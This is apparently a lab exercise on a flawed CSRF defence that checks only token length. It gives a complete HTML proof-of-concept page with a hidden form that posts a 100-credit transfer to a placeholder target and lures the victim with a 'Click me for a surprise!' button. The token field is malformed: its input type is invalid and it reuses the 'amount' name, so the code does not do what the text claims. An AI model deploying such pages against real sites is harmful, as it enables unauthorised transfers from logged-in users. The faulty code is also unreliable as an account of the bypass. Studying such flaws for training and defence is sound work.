Goal: Trigger the transfer from an external page and bypass the token check with a fake token of the right length.
This is a classic broken CSRF defense. The application adds a token field but validates only superficial properties such as length, which attackers can copy without knowing the victim token.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF PoC</title>
</head>
<body>
<h2>CSRF Attack Example</h2>
<p>This page is crafted by an attacker to demonstrate a CSRF vulnerability. In a real-world scenario, a victim would be lured to this page while logged into the target website.</p>
<form action="TARGET_URL" method="post">
<input type="hidden" name="receiver" value="user1">
<input type="hidden" name="amount" value="100">
<input type="csrf_token" name="amount" value="........">
<input type="submit" value="Click me for a surprise!">
</form>
</body>
</html>
| Username | Credits |
|---|---|
| user1 | 5000 |
| user2 | 4500 |
| user3 | 4000 |